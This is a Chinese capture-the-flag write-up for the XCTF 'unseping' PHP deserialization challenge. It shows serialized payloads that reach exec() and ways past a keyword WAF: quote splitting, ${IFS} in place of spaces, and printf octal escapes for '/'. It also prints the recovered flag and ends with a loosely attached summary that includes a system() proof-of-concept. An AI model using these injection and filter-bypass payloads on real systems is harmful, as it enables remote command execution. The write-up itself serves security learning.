攻防世界 unseping(小白能看懂)讲解了一些绕过方法saltwy于 2024-12-10 14:45:33 发布阅读量897 收藏 9点赞数 30文章标签: 安全 网络版权题目代码:<?phphighlight_file(__FILE__); class ease{ private $method; private $args; function __construct($method, $args) { $this->method = $method; $this->args = $args; } function __destruct(){ if (in_array($this->method, array("ping"))) { call_user_func_array(array($this, $this->method), $this->args); } } function ping($ip){ exec($ip, $result); var_dump($result); } function waf($str){ if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) { return $str; } else { echo "don't hack"; } } function __wakeup(){ foreach($this->args as $k => $v) { $this->args[$k] = $this->waf($v); } } } $ctf=@$_POST['ctf'];@unserialize(base64_decode($ctf));?>先一点一点的分析看到最后一段代码:$ctf=@$_POST['ctf'];@unserialize(base64_decode($ctf));意思是从HTTP POST请求中获取名为ctf的数据,并赋值给变量$ctf,@用于隐藏可能的错误base64_decode()函数用于将$ctf中的base64编码字符串解码成原始数据,unserialize将进过序列化的字符串还原为php的原始数据结构,比如数组或对象。根据解释大概知道了我们传入的ctf需要先进行base64加密,在经过序列化后传入。进过了上一步骤后看到这段代码__wakeup(): function __wakeup(){ foreach($this->args as $k => $v) { $this->args[$k] = $this->waf($v); } } __wakeup()函数的触发条件是,当使用unserialize()函数反序列化对象时,会自动触发,这里提一下绕过__wakeup()的方法,当序列化字符串表示对象属性个数的值大于真实个数的属性值时会跳过__wakeup的执行。继续,当触发__wakeup函数后会执行foreach()函数的执行,这里补充一下foreach函数,foreach是php中用于遍历数组或对象的结构。它会迭代数组中的每个键值对,执行循环体中的代码。语法foreach($array as $key =>$value){},这里$array:要遍历的数组,$key:当前元素的键(下标)。$value:当前元素的值。,我们举个例子:$array = ['a' => 1, 'b' => 2, 'c' => 3];foreach ($array as $key => $value) { echo "Key: $key, Value: $value\n";}// 输出:// Key: a, Value: 1// Key: b, Value: 2// Key: c, Value: 3接下来讲一下$this->args[$k] = $this->waf($v)这段的作用:$this->args[$k]:表示数组中的键值为$k的元素。例如,如果$k="name",那么$this->args[$k]就等于$this->$args["name"],$this->waf($v):调用了当前类中的方法waf(),并将$v作为参数传递给它。waf()方法的返回值会覆盖$this->args[$k]的原始值,这里举一个例子看如下代码:class Example { private $args; function __construct($args) { $this->args = $args; } function __wakeup() { foreach ($this->args as $k => $v) { $this->args[$k] = $this->waf($v); } } function waf($str) { return strtoupper($str); // 将字符串转换为大写 } function getArgs() { return $this->args; }} // 初始化对象$obj = new Example(['name' => 'John', 'age' => '25']);$obj->__wakeup(); // 手动调用 __wakeup() print_r($obj->getArgs());// 输出:// Array// (// [name] => JOHN// [age] => 25// )__destruct(),__construct(),print(),waf()接下来就剩下__destruct(),和__construct()还有ping(),waf()这几个,我们直接直击要害,__construct()或者魔术方法的触发就是你创建一个这个类的时候它就会自动调用,而__destruct()这个魔术方法则是这个函数销毁时自动调用接下来主要分析waf()这里使用了一个!preg_match_all()函数来检测$str是否包含某些危险字符或关键词。看到__destruct()这个魔术方法,这里讲一下in_array()这个函数,用于检查某个值是否村粗在一个数组中的函数。它返回true或false,也就是说如果这个类的$method=ping,那么就执行call_user_func_array()函数,call_user_func_array()函数的作用:用于动态地调用一个方法或函数,并传递参数。这里的$this是啥,举个列子,$example = new ease();那么这个this就代表$example,而这里的$this->method则是调用的方法或者函数。也就是说我们要将method复制为ping,然后调用ping命令,然后执行exec(),将$args赋值为我们要执行的函数,还要绕过waf题目中遇见的waf,和如何绕过waf如何绕过:这里cat,tca被过滤了可以考虑使用more,less,sort,nl(显示的时候顺便显示行号),uniq,还可以使用反斜杠连接,还有可以使用'',"",${Z},进行拼接,例如cat可以用c${Z}at或者c/at,c''at,c""at,空格绕过可以使用${IFS},$IFS$9,< 符号等绕过/绕过我们可以使用oct绕过,先将/ord("/”)然后转换为八进制,将值面前的0o记得去掉,举个例子开始构造:class ease{ private $method; private $args; function __construct($method,$args){ $this->method = $method; $this->args = $args; }} $a = new ease(ping,array('l""s'));$b = serialize($a);echo base64_encode($b);之后得到的序列化将post的形式赋值给ctf得到如下,可以看到flag_1s_here,尝试去读取继续构造代码$a = new ease("ping",array('l""s${IFS}f""lag_1s_here'));接下来需要查看flag的值,因为cat被过滤了可以使用less,more等上面已经讲过,开始构造,$a = new ease("ping",array('more<f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp'));这里/被oct(ord("/"))转换过,而printf可以识别不同进制的数字,它支持通过格式说明符来输出十进制,十六进制,八进制等不同进制的数字而\57转换出来则是/可以成功绕过wafarray(2) { [0]=> string(5) " string(47) "//$cyberpeace{9cb5f1187f5c30d98b3f68a274d63299}" }
时间: 2025-04-03 16:02:43 浏览: 75
### PHP 反序列化漏洞利用与 WAF 绕过技巧分析
#### 背景介绍
PHP 中的反序列化漏洞是一种常见的安全问题,通常发生在应用程序对用户输入的数据缺乏有效验证的情况下。当恶意用户能够提供经过精心构造的 `unserialize` 数据时,可能会触发意外行为甚至执行任意代码。
在实际环境中,Web 应用防火墙 (WAF) 常用于拦截已知模式的攻击向量。然而,由于某些 WAF 的规则设计可能存在局限性,攻击者仍有机会通过特定技术绕过其防护措施。
---
#### 反序列化漏洞原理
PHP 的 `unserialize()` 函数会将序列化的字符串转换为相应的对象或数组结构。如果该过程依赖于不可信的输入,则可能导致以下风险:
- 对象注入:允许创建并操控预期之外的对象实例。
- 方法调用链:触发预定义魔术方法(如 `__wakeup()`, `__destruct()` 等)从而实现恶意逻辑执行。
为了发现此类漏洞,建议采用静态代码审查方式定位潜在危险点,并追踪数据流直至确认是否存在可被操纵之处[^1]。
---
#### URL 编码规避策略
许多现代 WAF 配置基于签名匹配原则工作,在识别到敏感字符组合(例如 & 符号分隔符)之后便会阻止相应请求提交上来。此时可以考虑运用 URL 百分号转义表示法来混淆原始表达形式;具体而言就是将以 ASCII 表中特殊含义呈现出来的字节替换成对应的十六进制数值加上百分号前缀的形式展现出来[^2]。
例如对于包含多个查询参数部分连接而成的一条完整 HTTP 请求路径当中可能出现的标准 "&" 运算符来说,我们可以将其替换成为"%26",进而达到躲避初步筛查的目的。
---
#### 利用垃圾回收机制特性实施进一步渗透尝试
尽管 PHP 自身具备自动内存管理功能——即所谓的“垃圾收集器”,用来清理那些不再使用的资源以释放空间给新分配的需求所使用。但是有时候这个过程本身也可能变成一种弱点所在。因为每当某个局部作用域结束或者显式销毁了一个变量以后,系统都有一定几率启动完整的扫描动作去寻找相互之间形成闭环关系却没有外界引用指向它们的整体集合体来进行统一清除处理操作[^3]。
在这种情况下,如果我们能精确控制何时何地发生这样的事件的话,也许就能够制造出更多机会让之前准备好的payload生效。
---
#### Python 类似概念对比说明
值得注意的是,虽然这里讨论的重点放在了PHP之上,但实际上其他编程环境里面同样存在着相似的风险因素。拿Python举例来讲吧,即便两者语法风格差异较大,但在涉及到OOP方面基本理念还是相通的[^4]。所以学习理解其中一个平台上的防御手段往往也能帮助提升跨语言场景下的综合判断能力。
---
```php
// 示例代码片段展示如何构造简单的POC测试用例
class Test {
public $cmd;
function __destruct(){
system($this->cmd);
}
}
$test = new Test();
$test->cmd = 'id'; // 替换为你想要执行的实际命令
echo serialize($test);
// 将上述输出结果作为目标应用接收端传入的内容之一即可完成基础演示效果
```
---
阅读全文
相关推荐

















